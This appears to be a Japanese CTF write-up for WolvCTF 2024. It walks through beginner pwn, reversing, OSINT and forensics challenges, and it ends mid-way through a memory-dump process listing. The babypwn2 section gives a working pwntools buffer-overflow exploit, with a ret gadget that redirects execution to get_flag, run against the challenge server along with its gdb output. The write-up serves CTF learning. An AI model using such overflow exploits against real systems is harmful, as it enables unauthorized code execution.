== proof-of-work: disabled ==
What's your name?
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAA
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAA
 nice to meet you!
Binary exploitation is the best!
Memory unsafe languages rely on coders to not make mistakes.
But I don't worry, I write perfect code :)
wctf{pwn_1s_th3_best_Categ0ry!}
wctf{pwn_1s_th3_best_Categ0ry!}

Pwn: babypwn2 (Beginner)

BOFでget_flag関数をコールする。

$ gdb -q ./babypwn2      
Reading symbols from ./babypwn2...
(No debugging symbols found in ./babypwn2)
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /media/sf_Shared/babypwn2 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
What's your name?
>> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
Hi AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL!

Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x7fffffffdee8 --> 0x7fffffffe250 ("/media/sf_Shared/babypwn2")
RCX: 0x0 
RDX: 0x0 
RSI: 0x7fffffffbc90 ("Hi AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL!\n")
RDI: 0x7fffffffbb70 --> 0x7ffff7e19e70 (<__funlockfile>:        mov    rdi,QWORD PTR [rdi+0x88])
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffddd8 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RIP: 0x401219 (<main+73>:       ret)
R8 : 0x0 
R9 : 0x73 ('s')
R10: 0x0 
R11: 0x202 
R12: 0x0 
R13: 0x7fffffffdef8 --> 0x7fffffffe26a ("CLUTTER_IM_MODULE=xim")
R14: 0x0 
R15: 0x7ffff7ffd020 --> 0x7ffff7ffe2e0 --> 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40120e <main+62>:  call   0x401030 <printf@plt>
   0x401213 <main+67>:  mov    eax,0x0
   0x401218 <main+72>:  leave
=> 0x401219 <main+73>:  ret
   0x40121a:    nop    WORD PTR [rax+rax*1+0x0]
   0x401220 <__libc_csu_init>:  push   r15
   0x401222 <__libc_csu_init+2>:        mov    r15,rdx
   0x401225 <__libc_csu_init+5>:        push   r14
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddd8 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0x7fffffffdde0 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0x7fffffffdde8 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0x7fffffffddf0 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0032| 0x7fffffffddf8 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0040| 0x7fffffffde00 ("AJAAfAA5AAKAAgAA6AAL")
0048| 0x7fffffffde08 ("AAKAAgAA6AAL")
0056| 0x7fffffffde10 --> 0x4c414136 ('6AAL')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000401219 in main ()
gdb-peda$ patto AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 40

$ ROPgadget --binary babypwn2 | grep ": ret"  
0x0000000000401016 : ret
0x0000000000401062 : retf 0x2f
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('babypwn2.wolvctf.io', 1337)
else:
    p = process('./babypwn2')

elf = ELF('./babypwn2')

ret_addr = 0x401016
get_flag_addr = elf.symbols['get_flag']

payload = b'A' * 40
payload += p64(ret_addr)
payload += p64(get_flag_addr)

data = p.recvuntil(b'>> ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvuntil(b'}').decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to babypwn2.wolvctf.io on port 1337: Done
[*] '/media/sf_Shared/babypwn2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
== proof-of-work: disabled ==
What's your name?
>> b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x16\x10@\x00\x00\x00\x00\x00\x95\x11@\x00\x00\x00\x00\x00'
Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x16\x10@!
wctf{Wo4h_l0ok_4t_y0u_h4ck1ng_m3}
[*] Closed connection to babypwn2.wolvctf.io port 1337
wctf{Wo4h_l0ok_4t_y0u_h4ck1ng_m3}

Rev: Shredded (Beginner)

スクリプトの処理概要は以下の通り。

・lines: shredded.cの各行の配列
・longest = 0
・linesの各iについて以下を実行
 ・行の長さがlongestより大きい場合
  ・longest = iの長さ
・padLines = []
・全体がlongestの長さになるようlinesの各行に" "でパディングしたものをpadLinesに追加
・split: ""の要素をlongestの数だけ持つ配列
・padLinesの各要素lineについて以下を実行
 ・longest未満の各iについて以下を実行
  ・split[i]にlines[i]を結合
  ・split[i]に改行文字を結合
・splitの最後の要素を削除
・splitをシャッフル
・シャッフルしたsplitを各ファイルに分けて出力

シャッフルしているので、文字の長さ等から順序を推測していく。各ファイルでスペースでない文字を行ごとにして文字を見てみる。

[+] **** Line 0 ****
2 #
4 i
5 e
6 .
9 i
13 d
16 o
18 n
19 l
21 u
24 >
25 d
26 h
27 s
28 t
30 <
31 c
[+] **** Line 1 ****
2 #
4 i
5 e
6 g
9 i
13 d
16 n
17 >
18 n
19 l
21 u
24 h
25 r
26 .
27 s
28 t
30 <
31 c
[+] **** Line 2 ****
2 i
4 n
5 n
12 (
13 i
18 t
19 m
21 a
28 {
30 )
[+] **** Line 3 ****
1 D
2 c
3 "
4 h
5 a
6 R
11 T
12 g
13 l
14 E
15 ;
16 "
17 A
18 a
21 f
24 D
25 =
26 E
27 ]
29 C
30 [
31 r
[+] **** Line 4 ****
2 c
4 h
5 t
9 ]
12 e
13 n
16 ;
18 a
21 i
25 1
27 [
28 5
30 r
31 r
[+] **** Line 5 ****
1 ;
2 i
4 n
6 n
9 l
11 g
12 =
13 n
14 )
16 e
17 l
18 t
19 l
21 e
24 f
25 r
26 (
27 s
28 t
29 a
[+] **** Line 6 ****
0 )
1 ;
2 f
4 o
6 i
7 +
9 ;
11 e
12 i
13 t
14 n
15 i
18 r
19 i
21 n
23 {
24 <
25 0
27 =
29 l
31 (
32 +
[+] **** Line 7 ****
2 i
4 n
5 ]
6 [
9 a
13 i
16 g
17 ;
18 t
19 r
21 [
24 ]
25 l
26 i
28 f
30 =
31 e
[+] **** Line 8 ****
2 }
[+] **** Line 9 ****
0 +
1 0
2 f
3 ;
4 o
6 ;
7 i
9 e
10 {
12 i
13 t
14 5
16 n
18 r
19 i
20 )
21 n
24 i
25 l
27 =
29 <
31 (
32 +
[+] **** Line 10 ****
0 ;
1 %
2 i
3 l
4 n
5 ]
6 r
7 n
9 t
11 2
13 i
14 )
15 e
16 e
17 i
18 t
19 r
21 [
24 (
25 n
26 [
28 i
29 *
30 =
31 e
32 ]
[+] **** Line 11 ****
2 }
[+] **** Line 12 ****
2 i
4 n
5 0
6 '
9 \
12 ]
13 5
16 0
18 t
19 r
21 [
25 '
26 ;
27 =
31 e
[+] **** Line 13 ****
2 c
4 h
13 ;
18 a
21 a
31 r
[+] **** Line 14 ****
2 f
3 i
4 o
6 i
7 +
9 ;
11 0
12 i
13 t
14 ;
15 +
18 r
19 i
20 {
21 n
24 <
25 0
27 =
29 5
31 (
32 )
[+] **** Line 15 ****
2 a
5 e
12 r
13 t
18 =
19 i
21 n
25 ;
27 i
28 ]
30 [
[+] **** Line 16 ****
0 %
1 )
2 i
3 *
4 n
5 ]
6 r
7 5
8 ;
9 t
10 ]
11 +
13 i
14 7
15 1
16 e
17 (
18 t
19 r
20 5
21 [
23 0
24 (
25 n
26 [
28 i
29 i
30 =
31 e
32 )
[+] **** Line 17 ****
2 i
3 a
4 n
5 (
6 )
9 1
12 i
13 (
14 =
15 ;
16 5
17 0
18 t
19 r
21 [
24 5
25 *
26 %
27 7
28 )
29 ]
30 +
31 e
[+] **** Line 18 ****
2 }
[+] **** Line 19 ****
2 f
3 i
4 o
6 i
7 +
9 ;
11 0
12 i
13 t
14 ;
15 +
18 r
19 i
20 {
21 n
24 <
25 0
27 =
29 5
31 (
32 )
[+] **** Line 20 ****
2 a
5 e
12 r
13 t
18 =
19 i
21 n
25 ;
27 i
28 ]
30 [
[+] **** Line 21 ****
0 5
1 )
2 i
3 *
4 n
5 ]
6 r
7 )
9 t
10 ;
11 +
13 i
14 3
15 7
16 e
17 (
18 t
19 r
20 0
21 [
23 ]
24 (
25 n
26 [
28 i
29 i
30 =
31 e
32 %
[+] **** Line 22 ****
1 a
2 i
3 ;
4 n
5 (
6 %
9 7
11 =
12 i
13 (
16 )
17 ]
18 t
19 r
21 [
24 0
25 *
26 5
27 3
28 )
30 +
31 e
[+] **** Line 23 ****
2 }
[+] **** Line 24 ****
0 )
1 ;
2 f
4 o
5 t
7 +
9 0
11 5
13 n
14 0
15 i
16 ;
17 <
18 r
19 (
21 i
23 {
26 i
28 =
30 i
32 +
[+] **** Line 25 ****
1 0
2 i
3 x
4 n
5 ]
6 r
7 0
9 t
11 ^
13 i
15 2
16 e
17 ]
18 t
19 r
21 [
24 i
25 n
26 [
28 i
30 =
31 e
32 ;
[+] **** Line 26 ****
1 0
2 i
3 x
4 n
5 ]
6 r
7 ;
9 t
11 ^
13 i
15 5
16 e
17 ]
18 t
19 r
21 [
24 i
25 n
26 [
28 i
30 =
31 e
[+] **** Line 27 ****
2 }
[+] **** Line 28 ****
2 f
3 i
4 o
6 i
7 +
9 ;
11 0
12 i
13 t
14 ;
15 +
18 r
19 i
20 {
21 n
24 <
25 0
27 =
29 5
31 (
32 )
[+] **** Line 29 ****
2 a
5 e
12 r
13 t
18 =
19 i
21 n
25 ;
27 i
28 ]
30 [
[+] **** Line 30 ****
0 )
1 3
2 i
3 )
4 n
5 ]
6 r
7 1
8 ]
9 t
10 0
11 +
13 i
14 8
15 *
16 e
17 (
18 t
19 r
20 %
21 [
22 ;
23 5
24 (
25 n
26 [
28 i
29 i
30 =
31 e
32 2
[+] **** Line 31 ****
1 =
2 i
4 n
5 (
6 2
7 ;
9 *
11 ]
12 i
13 (
15 a
16 1
17 5
18 t
19 r
21 [
24 %
25 )
26 )
27 8
28 3
29 0
30 +
31 e
[+] **** Line 32 ****
2 }
[+] **** Line 33 ****
0 )
1 ;
2 f
4 o
5 t
7 +
9 0
11 5
13 n
14 0
15 i
16 ;
17 <
18 r
19 (
21 i
23 {
26 i
28 =
30 i
32 +
[+] **** Line 34 ****
0 i
1 n
3 t
5 n
6 %
7 r
9 \
10 ;
12 t
13 i
14 i
15 e
16 x
17 "
19 p
20 ]
21 r
23 )
25 \
26 X
27 (
28 "
29 ,
30 f
32 [
[+] **** Line 35 ****
2 }
[+] **** Line 36 ****
2 r
4 e
5 0
12 ;
18 t
19 r
21 n
31 u
[+] **** Line 37 ****
2 }

37行目などからshred2.txtが0列目の情報とわかる。13行目はchar a;と推測できる。また0行目は#includeで始まると推測できる。以降、C言語ソースコードになるよう推測しながら埋めていく。
最終的には以下のコードになる。

00 #include <stdio.h>
01 #include <string.h>
02 int main() {
03 char flag[] = "REDACTED";
04 char inter[51];
05 int len = strlen(flag);
06 for(int i = 0; i < len; i++) {
07 inter[i] = flag[i];
08 }
09 for(int i = len; i < 50; i++) {
10 inter[i] = inter[(i*2)%len];
11 }
12 inter[50] = '\0';
13 char a;
14 for(int i = 0; i < 50; i++) {
15 a = inter[i];
16 inter[i] = inter[((i+7)*15)%50];
17 inter[((i+7)*15)%50] = a;
18 }
19 for(int i = 0; i < 50; i++) {
20 a = inter[i];
21 inter[i] = inter[((i+3)*7)%50];
22 inter[((i+3)*7)%50] = a;
23 }
24 for (int i = 0; i < 50; i++) {
25 inter[i] = inter[i] ^ 0x20;
26 inter[i] = inter[i] ^ 0x5;
27 }
28 for(int i = 0; i < 50; i++) {
29 a = inter[i];
30 inter[i] = inter[((i+83)*12)%50];
31 inter[((i+83)*12)%50] = a;
32 }
33 for (int i = 0; i < 50; i++) {
34     printf("\\x%X ", inter[i]);
35 }
36 return 0;
37 }

これを逆算していくとフラグがわかる。

#!/usr/bin/env python3

lines_list = []
for i in range(33):
    fname = 'shredFiles/shred%d.txt' % i
    with open(fname, 'r') as f:
        lines = f.readlines()
        lines_list.append(lines)

## research ##
for j in range(38):
    print('[+] **** Line %d ****' % j)
    for i in range(33):
        c = lines_list[i][j].replace('\n', '')
        if c != ' ':
            print(i, c)
print()

## guess ##
f_indexes = [2, 4, 18, 31, 19, 21, 13, 5, 12, 30, 27, 28, 25, 9, 16, 6, 26, 24,
    17, 29, 11, 14, 1, 3, 15, 7, 32, 0, 20, 23, 10, 8, 22]

for j in range(38):
    print('%02d ' % j, end='')
    for i in f_indexes:
        c = lines_list[i][j].replace('\n', '')
        print(c, end='')
    print()
print()

## get flag ##
with open('output.txt', encoding='utf-16') as f:
    out = f.read().split(' ')[:-1]

inter = []
for o in out:
    inter.append(int(o[2:], 16))

for i in range(49, -1, -1):
    a = inter[((i + 83) * 12) % 50]
    inter[((i + 83) * 12) % 50] = inter[i]
    inter[i] = a

for i in range(49, -1, -1):
    inter[i] = inter[i] ^ 0x5
    inter[i] = inter[i] ^ 0x20

for i in range(49, -1, -1):
    a = inter[((i + 3) * 7) % 50]
    inter[((i + 3) * 7) % 50] = inter[i]
    inter[i] = a

for i in range(49, -1, -1):
    a = inter[((i + 7) * 15) % 50]
    inter[((i + 7) * 15) % 50] = inter[i]
    inter[i] = a

flag = ''
for i in range(50):
    flag += chr(inter[i])
flag = flag[:flag.index('}') + 1]
print(flag)
wctf{sHr3DDinG_L1k3_H3NDr1x_93284}

OSINT: Redditor (Beginner)

WolvSec Reddit で検索すると、以下のページが見つかる。

https://www.reddit.com/user/WolvSec/

ここにフラグが書かれていた。

wctf{h41L_t0_th3_v1ct0rs_v4l14nt_h41L_t0_tH3_c0Nqu3r1nG_h3r035}

Forensics: Hidden Data (Beginner)

$ exiftool wctf_evil.jpg                                   
ExifTool Version Number         : 12.57
File Name                       : wctf_evil.jpg
Directory                       : .
File Size                       : 11 kB
File Modification Date/Time     : 2024:03:16 11:55:31+09:00
File Access Date/Time           : 2024:03:16 11:55:41+09:00
File Inode Change Date/Time     : 2024:03:16 11:55:31+09:00
File Permissions                : -rwxrwx---
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Comment                         : wctf{h1dd3n_d4t4_n0T_s0_h1dD3N}
Image Width                     : 250
Image Height                    : 307
Encoding Process                : Progressive DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 250x307
Megapixels                      : 0.077

Commentにフラグが設定されていた。

wctf{h1dd3n_d4t4_n0T_s0_h1dD3N}

Rev: babyre (Beginner)

$ strings babyre | grep wctf
wctf{n1c3_oNe_y0u_Found_m3}
wctf{n1c3_oNe_y0u_Found_m3}

Sanity Check (Misc)

Discordに入り、#rulesチャネルのトピックを見ると、フラグが書いてあった。

wctf{4_c0py_4nd_p4s+3_r4c3}

WOLPHV I: Reconnaissance (OSINT)

X(旧Twitter)で、"WOLPHV"を調べると、以下のページにたどり着く。

https://twitter.com/FalconFeedsio/status/1706989111414849989

返信を見ていくと、以下のメッセージがある。

woah!!! we need to investigate this
d2N0Znswa18xX2QwblRfdGgxTmtfQTFfdzFsbF9yM1BsNGMzX1VzX2YwUl80X2wwbmdfdDFtZX0=


base64デコードする。

$ echo d2N0Znswa18xX2QwblRfdGgxTmtfQTFfdzFsbF9yM1BsNGMzX1VzX2YwUl80X2wwbmdfdDFtZX0= | base64 -d
wctf{0k_1_d0nT_th1Nk_A1_w1ll_r3Pl4c3_Us_f0R_4_l0ng_t1me}
wctf{0k_1_d0nT_th1Nk_A1_w1ll_r3Pl4c3_Us_f0R_4_l0ng_t1me}

doubledelete's revenge (Rev)

Ghidraでデコンパイルする。

undefined8 main(int param_1,undefined8 *param_2)

{
  uint uVar1;
  undefined8 uVar2;
  FILE *pFVar3;
  uint *puVar4;
  long in_FS_OFFSET;
  int local_64;
  uint local_48 [14];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  if (param_1 == 3) {
    pFVar3 = fopen((char *)param_2[1],"r");
    fread(local_48,1,0x30,pFVar3);
    for (local_64 = 0; local_64 < 0xc; local_64 = local_64 + 1) {
      puVar4 = (uint *)((long)local_48 + (long)(local_64 << 2));
      uVar1 = *puVar4;
      *puVar4 = uVar1 << 0xd | uVar1 >> 0x13;
    }
    pFVar3 = fopen((char *)param_2[2],"wb");
    fwrite(local_48,1,0x30,pFVar3);
    uVar2 = 0;
  }
  else {
    printf("[wolphvlog] usage: %s <infile> <ofile>",*param_2);
    uVar2 = 1;
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar2;
}

32ビットごとに13ビット左シフトしたものと19ビット右にシフトしたものの和になっているので、元に戻す。

#!/usr/bin/env python3
with open('flag.txt.enc', 'rb') as f:
    enc = f.read()

flag = b''
for i in range(0, len(enc), 4):
    v = int.from_bytes(enc[i:i+4], 'little')
    v = v >> 0xd | ((v << 0x13) & 0xffffffff)
    flag += v.to_bytes(4, 'little')

flag = flag.decode()
print(flag)
wctf{i_th1nk_y0u_m1sund3rst00d_h0w_r0t13_w0rk5}

Eternally Pwned: Infiltration (Forensics)

smbでフィルタリングする。
No.446のEcho Requestで以下のデータを送信している。

d2N0ZntsM3RTXw==

このデータをbase64デコードする。

$ echo d2N0ZntsM3RTXw== | base64 -d        
wctf{l3tS_

No.550のTrans2 Secondary Requestで大量の"A"のデータの中に2つのbase64文字列が含まれている。

M3RlUm40bEx5X2cwXw==
YkxVM183bjl3bTRpV25MfQ==

この文字列をbase64デコードする。

$ echo M3RlUm40bEx5X2cwXw== | base64 -d
3teRn4lLy_g0_
$ echo YkxVM183bjl3bTRpV25MfQ== | base64 -d
bLU3_7n9wm4iWnL}

base64デコードした文字列を結合すると、フラグになった。

wctf{l3tS_3teRn4lLy_g0_bLU3_7n9wm4iWnL}

Eternally Pwned: Persistence (Forensics)

$ python3 vol.py -f MEMORY.DMP windows.pstree
Volatility 3 Framework 2.5.2
Progress:  100.00               PDB scanning finished                                
PID     PPID    ImageFileName   Offset(V)       Threads Handles SessionId       Wow64   CreateTime      ExitTime        Audit   Cmd     Path

4       0       System  0xfa8018d8db30  71      497     N/A     False   2024-03-09 11:47:48.000000      N/A     -       -       -
* 224   4       smss.exe        0xfa8019c06310  2       29      N/A     False   2024-03-09 11:47:48.000000      N/A     \Device\HarddiskVolume1\Windows\System32\smss.exe \SystemRoot\System32\smss.exe   \SystemRoot\System32\smss.exe
296     288     csrss.exe       0xfa801a39a750  9       341     0       False   2024-03-09 11:47:49.000000      N/A     \Device\HarddiskVolume1\Windows\System32\csrss.exe        %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16  C:\Windows\system32\csrss.exe
348     288     wininit.exe     0xfa801a3b8b30  4       77      0       False   2024-03-09 11:47:49.000000      N/A     \Device\HarddiskVolume1\Windows\System32\wininit.exe      wininit.exe     C:\Windows\system32\wininit.exe
* 468   348     lsm.exe 0xfa801a40eb30  11      144     0       False   2024-03-09 11:47:49.000000      N/A     \Device\HarddiskVolume1\Windows\System32\lsm.exe  C:\Windows\system32\lsm.exe     C:\Windows\system32\lsm.exe
* 460   348     lsass.exe       0xfa801a4083b0  8       569     0       False   2024-03-09 11:47:49.000000      N/A     \Device\HarddiskVolume1\Windows\System32\lsass.exe        C:\Windows\system32\lsass.exe   C:\Windows\system32\lsass.exe
* 444   348     services.exe    0xfa801a3ff5f0  9       200     0       False   2024-03-09 11:47:49.000000      N/A     \Device\HarddiskVolume1\Windows\System32\services.exe     C:\Windows\system32\services.exe        C:\Windows\system32\services.exe
** 640  444     svchost.exe     0xfa801a54bb30  9       243     0       False   2024-03-09 11:47:50.000000      N/A     \Device\HarddiskVolume1\Windows\System32\svchost.exe      C:\Windows\system32\svchost.exe -k RPCSS        C:\Windows\system32\svchost.exe
** 1536 444     spoolsv.exe     0xfa801a93fb30  13      254     0       False   2024-03-09 11:56:05.000000      N/A     \Device\HarddiskVolume1\Windows\System32\spoolsv.exe      C:\Windows\System32\spoolsv.exe C:\Windows\System32\spoolsv.exe
** 908  444     svchost.exe     0xfa801a5ccb30  8       197     0       False   2024-03-09 11:47:50.000000      N/A     \Device\HarddiskVolume1\Windows\System32\svchost.exe      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted C:\Windows\System32\svchost.exe
*** 1304        908     dwm.exe 0xfa801a75a060  4       66      1       False   2024-03-09 11:47:51.000000      N/A     \Device\HarddiskVolume1\Windows\System32\dwm.exe  "C:\Windows\system32\Dwm.exe"   C:\Windows\system32\Dwm.exe
** 1040 444     svchost.exe     0xfa801a6d0060  4       46      0       False   2024-03-09 11:47:51.000000      N/A     \Device\HarddiskVolume1\Windows\System32\svchost.exe      C:\Windows\system32\svchost.exe -k regsvc       C:\Windows\system32\svchost.exe
** 2040 444     mscorsvw.exe    0xfa801a85db30  8       84      0       True    2024-03-09 11:49:52.000000      N/A     \Device\HarddiskVolume1\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe   C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe      C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe
** 1956 444     sppsvc.exe      0xfa801a87f4f0  5       151     0       False   2024-03-09 11:47:59.000000      N/A     \Device\HarddiskVolume1\Windows\System32\sppsvc.exe       C:\Windows\system32\sppsvc.exe  C:\Windows\system32\sppsvc.exe
** 812  444     svchost.exe     0xfa801a5a49e0  34      953     0       False   2024-03-09 11:47:50.000000      N/A     \Device\HarddiskVolume1\Windows\System32\svchost.exe      C:\Windows\system32\svchost.exe -k netsvcs      C:\Windows\system32\svchost.exe
** 1200 444     taskhost.exe    0xfa801a722b30  6       117     1       False   2024-03-09 11:47:51.000000      N/A     \Device\HarddiskVolume1\Windows\System32\taskhost.exe     "taskhost.exe"  C:\Windows\system32\taskhost.exe
** 692  444     svchost.exe     0xfa801a5645f0  14      288     0       False   2024-03-09 11:47:50.000000      N/A     \Device\HarddiskVolume1\Windows\System32\svchost.exe      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted        C:\Windows\System32\svchost.exe
** 948  444     svchost.exe     0xfa801a5dc5f0  17      441     0       False   2024-03-09 11:47:50.000000      N/A     \Device\HarddiskVolume1\Windows\System32\svchost.exe      C:\Windows\system32\svchost.exe -k NetworkService       C:\Windows\system32\svchost.exe
** 1332 444     mscorsvw.exe    0xfa801a705060  8       75      0       False   2024-03-09 11:49:52.000000      N/A     \Device\HarddiskVolume1\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe    C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe
** 312  444     spoolsv.exe     0xfa801a6a6670  0       -       0       False   2024-03-09 11:47:51.000000      2024-03-09 11:55:05.000000      \Device\HarddiskVolume1\Windows\System32\spoolsv.exe      -       -
** 1852 444     msdtc.exe       0xfa8018e3e620  13      142     0       False   2024-03-09 11:49:53.000000      N/A     \Device\HarddiskVolume1\Windows\System32\msdtc.exe        C:\Windows\System32\msdtc.exe   C:\Windows\System32\msdtc.exe
** 576  444     svchost.exe     0xfa801a521b30  12      348     0       False   2024-03-09 11:47:50.000000      N/A     \Device\HarddiskVolume1\Windows\System32\svchost.exe      C:\Windows\system32\svchost.exe -k DcomLaunch   C:\Windows\system32\svchost.exe
*** 1848        576     WmiPrvSE.exe    0xfa801a500a10  7       118     0       False   2024-03-09 12:04:55.000000      N/A     \Device\HarddiskVolume1\Windows\System32\wbem\WmiPrvSE.exe        C:\Windows\system32\wbem\wmiprvse.exe   C:\Windows\system32\wbem\wmiprvse.exe
*** 2052        576     WmiPrvSE.exe    0xfa801990fb30  9       248     0       False   2024-03-09 12:04:56.000000      N/A     \Device\HarddiskVolume1\Windows\System32\wbem\WmiPrvSE.exe        C:\Windows\system32\wbem\wmiprvse.exe   C:\Windows\system32\wbem\wmiprvse.exe
** 1992 444     svchost.exe     0xfa801a46c220  6       67      0       False   2024-03-09 11:49:53.000000      N/A     \Device\HarddiskVolume1\Windows\System32\svchost.exe      C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation       C:\Windows\system32\svchost.exe
** 860  444     svchost.exe     0xfa801a5c05a0  11      273     0       False   2024-03-09 11:47:50.000000      N/A     \Device\HarddiskVolume1\Windows\System32\svchost.exe      C:\Windows\system32\svchost.exe -k LocalService C:\Windows\system32\svchost.exe
** 1380 444     svchost.exe     0xfa801a78e730  6       99      0       False   2024-03-09 11:47:52.000000      N/A     \Device\HarddiskVolume1\Windows\System32\svchost.exe      C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted      C:\Windows\system32\svchost.exe
** 240  444     svchost.exe     0xfa801a41d060  18      295     0       False   2024-03-09 11:47:50.000000      N/A     \Device\HarddiskVolume1\Windows\System32\svchost.exe      C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork        C:\Windows\system32\svchost.exe
** 2168 444     TrustedInstall  0xfa801a4fab30  7       223     0       False   2024-03-09 12:04:57.000000      N/A     \Device\HarddiskVolume1\Windows\servicing\TrustedInstaller.exe    C:\Windows\servicing\TrustedInstaller.exe       C:\Windows\servicing\TrustedInstaller.exe
360     340     csrss.exe       0xfa801a3bf060  7       266     1       False   2024-03-09 11:47:49.000000      N/A     \Device\HarddiskVolume1\Windows\System32\csrss.exe        %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16  C:\Windows\system32\csrss.exe
* 988   360     conhost.exe     0xfa801a85e1d0  2       38      1       False   2024-03-09 11:49:15.000000      N/A     \Device\HarddiskVolume1\Windows\System32\conhost.exe      \??\C:\Windows\system32\conhost.exe     C:\Windows\system32\conhost.exe
* 1868  360     conhost.exe     0xfa801a4a8630  2       38      1       False   2024-03-09 11:50:05.000000      N/A     \Device\HarddiskVolume1\Windows\System32\conhost.exe      \??\C:\Windows\system32\conhost.exe     C:\Windows\system32\conhost.exe
408     340     winlogon.exe    0xfa801a3f75c0  4       97      1       False   2024-03-09 11:47:49.000000      N/A     \Device\HarddiskVolume1\Windows\System32\winlogon.exe     winlogon.exe    C:\Windows\system32\winlogon.exe
1320    1292    explorer.exe    0xfa801a7637c0  30      712     1       False   2024-03-09 11:47:52.000000      N/A     \Device\HarddiskVolume1\Windows\explorer.exe      C:\Windows\Explorer.EXE C:\Windows\Explorer.EXE
* 896   1320    multireader.ex  0xfa801a8601d0  2       57      1       False   2024-03-09 11:54:50.000000      N/A     \Device\HarddiskVolume1\temp\multireader.exe      "C:\temp\multireader.exe"       C:\temp\multireader.exe
* 804   1320    cmd.exe 0xfa801a496450  1       21      1       False   2024-03-09 11:50:05.000000      N/A     \Device\HarddiskVolume1\Windows\System32\cmd.exe  "C:\Windows\system32\cmd.exe"   C:\Windows\system32\cmd.exe
* 1644  1320    notepad.exe     0xfa801a4ba060  1       57      1       False   2024-03-09 11:52:04.000000      N/A     \Device\HarddiskVolume1\Windows\System32\notepad.exe      "C:\Windows\system32\NOTEPAD.EXE" C:\Users\joe\Desktop\schedule.txt     C:\Windows\system32\NOTEPAD.EXE
